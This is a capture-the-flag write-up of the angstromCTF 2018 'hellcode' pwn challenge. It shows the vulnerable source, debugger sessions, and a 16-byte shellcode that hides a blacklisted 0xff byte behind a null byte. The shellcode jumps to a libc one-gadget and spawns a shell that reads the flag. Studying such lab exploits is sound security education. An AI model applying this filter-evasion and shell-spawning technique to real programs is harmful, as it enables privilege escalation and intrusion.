The angstromCTF 2018 (ctftime.org) ran from 16/03/2018, 20:00 UTC to 23/03/2018 00:00 UTC.
As the description on ctftime.org states, the ctf is primarily geared towards high school students but with a very wide range of challenge difficulty.
There have been a lot of interesting challenges which have been fun to do. I decided to make a writeup for the pwn challenge hellcode.
hellcode (200 pts)
Challenge description:
This program will execute any arbitrary code you give it! Well, almost any — it prohibits syscalls, and only gives you 16 bytes of space. These incredible security features were added at the last minute to ensure nobody can read any secrets hidden on the server. Prove them wrong and get the flag. Download the source and binary.
Let’s start by analyzing the provided source code:
root@kali:~# cat hellcode.c #include <stdbool.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/mman.h> void code_runner() { char tmp_code[18]; char *code; bool executing = false; printf("Please enter your code: "); fflush(stdout); fgets(tmp_code, 17, stdin); char *end = strchr(tmp_code, '\n'); if (end == NULL) end = &tmp_code[16]; *end = '\0'; int len = end - tmp_code; /* NO KERNEL FUNCS */ if (strstr(tmp_code, "\xcd\x80") || strstr(tmp_code, "\x0f\x34") || strstr(tmp_code, "\x0f\x05")) { printf("Nice try, but syscalls aren't permitted\n"); return; } /* NO CALLS TO DYNAMIC ADDRESSES */ if (strstr(tmp_code, "\xff")) { printf("Nice try, but dynamic calls aren't permitted\n"); return; } code = mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0); memcpy(code, tmp_code, len); code[len] = 0xc3; mprotect(code, 4096, PROT_READ|PROT_EXEC); if (executing == true) { printf("ROP chain detected!\n"); munmap(code, 4096); exit(-1); } void (*func)() = (void (*)())code; executing = true; func(); munmap(code, 4096); } int main(int argc, char **argv) { gid_t gid = getegid(); setresgid(gid,gid,gid); printf("Welcome to the Executor\n"); code_runner(); return 0; }
What does the program do?
–> The main
function basically calls code_runner
(line 62).
–> Within code_runner
(line 7) 17 bytes are read in the variable tmp_code
using fgets
(line 16).
–> If tmp_code
contains a newline ('\n'
) it is replaced with a null-byte. If there is no newline, the 17th byte (index 16) is set to null (lines 18-20).
–> After this tmp_code
is checked for blacklisted byte sequences ("\xcd\x80"
, "\x0f\x34"
, "\x0f\x05"
and "\xff"
) using the function strstr
(lines 24 and 31).
–> If none of the mentioned strings was found, tmp_code
is copied to a newly allocated memory region, which permissions are set to read and execute after the copy (lines 37-38 and 41).
–> There is another check if the previously defined variable executing
is already true in order to prevent ROP chains (line 42).
–> Finally the user defined code is executed (line 51).
Our goal is to read the flag
file within the /problems/hellcode/
directory on the ctf server:
team655120@shell:/problems/hellcode$ ls -al total 28 drwxr-xr-x 2 root root 4096 Mar 17 02:00 . drwxr-xr-x 16 root root 4096 Mar 17 02:20 .. -r--r----- 1 root problem-hellcode 42 Mar 16 21:34 flag -rwxr-sr-x 1 root problem-hellcode 13512 Mar 16 02:56 hellcode
As well as the source code, the binary was directly available for download on the challenge website in order to analyze it on a local machine:
root@kali:~/Documents/angstromctf# file hellcode hellcode: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=8e1f0876954061db545626b4428d4d50dcc783e7, not stripped root@kali:~/Documents/angstromctf# checksec hellcode [*] '/root/Documents/angstromctf/hellcode' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)
So we are dealing with a 64bit dynamically linked binary with stack canaries and NX enabled, but without PIE.
In order to read the flag, we could spawn a shell by calling execve("/bin/sh")
. A very straight forward way to do this is a so called one-gadget. A one-gadget is an address within the libc which leads to a call to execve("/bin/sh", NULL, NULL)
. Such a one-gadget is available in almost every libc. Usually there are constraints for each one-gadget to work. Such a constraint could for example be that the register rax
must be zero. Generally it is easier to find one-gadgets in 64bit libc because of the way position independent code is implemented. A very great tool by david942j to find one-gadgets can be found here.
Before we start using the one_gadget tool, we need to download the libc which is used on the ctf server since our local machine probably does not use the same libc.
Which libc is used on the server can be determined using ldd
:
team655120@shell:/problems/hellcode$ ldd hellcode linux-vdso.so.1 => (0x00007ffca9bdd000) libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f6a27bb4000) /lib64/ld-linux-x86-64.so.2 (0x00007f6a27f7e000)
The library can be downloaded on the local machine with scp
:
root@kali:~/Documents/angstromctf# scp team655120@shell.angstromctf.com:/lib/x86_64-linux-gnu/libc.so.6 . team655120@shell.angstromctf.com's password: libc.so.6 100% 1825KB 1.4MB/s 00:01
Now we can use one_gadget:
root@kali:~/Documents/angstromctf# one_gadget libc.so.6 0x45216 execve("/bin/sh", rsp+0x30, environ) constraints: rax == NULL 0x4526a execve("/bin/sh", rsp+0x30, environ) constraints: [rsp+0x30] == NULL 0xf02a4 execve("/bin/sh", rsp+0x50, environ) constraints: [rsp+0x50] == NULL 0xf1147 execve("/bin/sh", rsp+0x70, environ) constraints: [rsp+0x70] == NULL
Great! There are four gadgets with different constraints.
At next we run the binary on the ctf server and set a breakpoint at the position where our code is going to be called:
team655120@shell:/problems/hellcode$ gdb hellcode GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.5) 7.11.1 ... (gdb) set disassembly-flavor intel (gdb) disassemble code_runner Dump of assembler code for function code_runner: ... 0x0000000000400b30 <+410>: mov rax,QWORD PTR [rbp-0x30] 0x0000000000400b34 <+414>: mov QWORD PTR [rbp-0x28],rax 0x0000000000400b38 <+418>: mov BYTE PTR [rbp-0x3d],0x1 0x0000000000400b3c <+422>: mov rdx,QWORD PTR [rbp-0x28] 0x0000000000400b40 <+426>: mov eax,0x0 0x0000000000400b45 <+431>: call rdx 0x0000000000400b47 <+433>: mov rax,QWORD PTR [rbp-0x30] 0x0000000000400b4b <+437>: mov esi,0x1000 0x0000000000400b50 <+442>: mov rdi,rax 0x0000000000400b53 <+445>: call 0x400850 <munmap@plt> 0x0000000000400b58 <+450>: mov rax,QWORD PTR [rbp-0x8] 0x0000000000400b5c <+454>: xor rax,QWORD PTR fs:0x28 0x0000000000400b65 <+463>: je 0x400b6c <code_runner+470> 0x0000000000400b67 <+465>: call 0x4007b0 <__stack_chk_fail@plt> 0x0000000000400b6c <+470>: leave 0x0000000000400b6d <+471>: ret End of assembler dump.
The instruction call rdx
at code_runner+431
calls our code. Let’s set a breakpoint there, run the program and enter some code (what we enter does not matter for now):
(gdb) b *code_runner+431 Breakpoint 1 at 0x400b45 (gdb) r Starting program: /problems/hellcode/hellcode Welcome to the Executor Please enter your code: AAAA Breakpoint 1, 0x0000000000400b45 in code_runner ()
The breakpoint is hit. On the ctf server gdb
is running without any extensions like gdb-peda
, but this suffices since we do not have much to do. Because we want to check which constraints we can fulfill let’s start by viewing the register’s content:
(gdb) i r rax 0x0 0 rbx 0x0 0 rcx 0x7f9c5acbd777 140309514934135 rdx 0x7f9c5b1aa000 140309520097280 rsi 0x1000 4096 rdi 0x7f9c5b1aa000 140309520097280 rbp 0x7ffd7e200fc0 0x7ffd7e200fc0 rsp 0x7ffd7e200f80 0x7ffd7e200f80 r8 0xffffffffffffffff -1 r9 0x0 0 r10 0x487 1159 r11 0x206 518 r12 0x4008a0 4196512 r13 0x7ffd7e2010d0 140726719484112 r14 0x0 0 r15 0x0 0 rip 0x400b45 0x400b45 <code_runner+431> eflags 0x246 [ PF ZF IF ] cs 0x33 51 ss 0x2b 43 ds 0x0 0 es 0x0 0 fs 0x0 0 gs 0x0 0
Nice! rax
already contains zero, which means that we can use the first gadget we found.
In order to call the gadget, we need to know the libc base address which varies on every execution of the binary because of ASLR. The current base address in gdb
can be determined with the command i proc mappings
:
(gdb) i proc mappings process 7762 Mapped address spaces: Start Addr End Addr Size Offset objfile 0x400000 0x401000 0x1000 0x0 /problems/hellcode/hellcode 0x601000 0x602000 0x1000 0x1000 /problems/hellcode/hellcode 0x602000 0x603000 0x1000 0x2000 /problems/hellcode/hellcode 0x230b000 0x232c000 0x21000 0x0 [heap] 0x7f9c5abbc000 0x7f9c5ad7c000 0x1c0000 0x0 /lib/x86_64-linux-gnu/libc-2.23.so 0x7f9c5ad7c000 0x7f9c5af7c000 0x200000 0x1c0000 /lib/x86_64-linux-gnu/libc-2.23.so 0x7f9c5af7c000 0x7f9c5af80000 0x4000 0x1c0000 /lib/x86_64-linux-gnu/libc-2.23.so 0x7f9c5af80000 0x7f9c5af82000 0x2000 0x1c4000 /lib/x86_64-linux-gnu/libc-2.23.so 0x7f9c5af82000 0x7f9c5af86000 0x4000 0x0 0x7f9c5af86000 0x7f9c5afac000 0x26000 0x0 /lib/x86_64-linux-gnu/ld-2.23.so 0x7f9c5b19e000 0x7f9c5b1a1000 0x3000 0x0 0x7f9c5b1aa000 0x7f9c5b1ab000 0x1000 0x0 0x7f9c5b1ab000 0x7f9c5b1ac000 0x1000 0x25000 /lib/x86_64-linux-gnu/ld-2.23.so 0x7f9c5b1ac000 0x7f9c5b1ad000 0x1000 0x26000 /lib/x86_64-linux-gnu/ld-2.23.so 0x7f9c5b1ad000 0x7f9c5b1ae000 0x1000 0x0 0x7ffd7e1e1000 0x7ffd7e202000 0x21000 0x0 [stack] 0x7ffd7e388000 0x7ffd7e38b000 0x3000 0x0 [vvar] 0x7ffd7e38b000 0x7ffd7e38d000 0x2000 0x0 [vdso] 0xffffffffff600000 0xffffffffff601000 0x1000 0x0 [vsyscall]
The libc base address currently is 0x7f9c5abbc000
. Did you recognize the value of rcx
?
... rcx 0x7f9c5acbd777 140309514934135 ...
rcx
already contains a libc address. Although the actual base address varies on every execution, the offset of this value within the libc will stay constant. This means that we can simply calculate the difference of the value in rcx
and the address of the gadget we want to call:
(gdb) p $rcx - (0x7f9c5abbc000 + 0x45216) $1 = 771425
The difference amounts 771425 = 0xbc561 bytes. Thus we subtract 0xbc561 from rcx
and then jump to rcx
to trigger the one gadget:
root@kali:~/Documents/angstromctf# asm -c 64 "sub rcx, 0xbc561; jmp rcx" 4881e961c50b00ffe1
Mmmh, there is a byte with the value 0xff
in our code. This value is blacklisted, isn’t it?
/* NO CALLS TO DYNAMIC ADDRESSES */ if (strstr(tmp_code, "\xff")) { ...
Well, it is. But… wait! The function strstr
is used to search for the blacklisted byte (actually the compiler turned this into strchr
, but this does not matter for our consideration). How many bytes are processed by strstr
? All bytes of the string. In other words: all bytes until a null-byte is reached. Since our code contains a null-byte before the 0xff
byte, we evade the blacklist. Because the user input is read using the function fgets
, we can enter a null-byte without terminating the user input stream:
fgets(tmp_code, 17, stdin);
So our code should work as intended. The only thing left to do is to input the code in the binary using python
and append the command cat
to regain stdin
on the spawned shell:
team655120@shell:/problems/hellcode$ (python -c 'print("4881e961c50b00ffe1".decode("hex"))'; cat) | ./hellcode Welcome to the Executor Please enter your code: id uid=1876(team655120) gid=1004(problem-hellcode) groups=1004(problem-hellcode),1000(teams) cat flag actf{a_secure_code_invoker_is_oxymoronic}
Done 🙂 The flag is actf{a_secure_code_invoker_is_oxymoronic}
.